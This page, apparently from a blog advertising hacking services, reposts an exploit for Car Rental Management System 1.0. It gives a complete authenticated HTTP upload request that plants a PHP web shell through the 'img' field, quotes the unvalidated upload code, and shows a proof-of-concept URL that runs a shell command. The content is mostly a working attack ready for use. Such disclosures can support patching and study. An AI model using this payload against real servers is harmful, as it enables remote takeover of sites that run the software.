Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863541685

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Car Rental Management System 1.0 - Remote Code Execution (Authenticated)
# Date: 2020-11.13
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Apache2 - Windows 10

Vulnerable param: img
-------------------------------------------------------------------------
POST /car_rental/admin/ajax.php?action=save_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------30709612614161811513297969444
Content-Length: 777
Origin: http://localhost
Connection: close
Referer: http://localhost/car_rental/admin/index.php?page=site_settings
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean

-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="name"

Car Rental Management System
-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="email"

info@sample.comm
-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="contact"

+6948 8542 623
-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="about"

content

-----------------------------30709612614161811513297969444
Content-Disposition: form-data; name="img"; filename="k.php"
Content-Type: application/octet-stream

<?php echo passthru($_GET['k']);?>
-----------------------------30709612614161811513297969444--


Source Code:

admin\admin_class.php:
--------------------------------------------------------------------
                if($_FILES['img']['tmp_name'] != ''){
                                                                                                                $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
                                                                                                                $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);
                                                                                                                $data .= ", avatar = '$fname' ";

                                                }

--------------------------------------------------------------------

POC:
http://{site]/admin/assets/uploads/{FILE}.php?k=whoami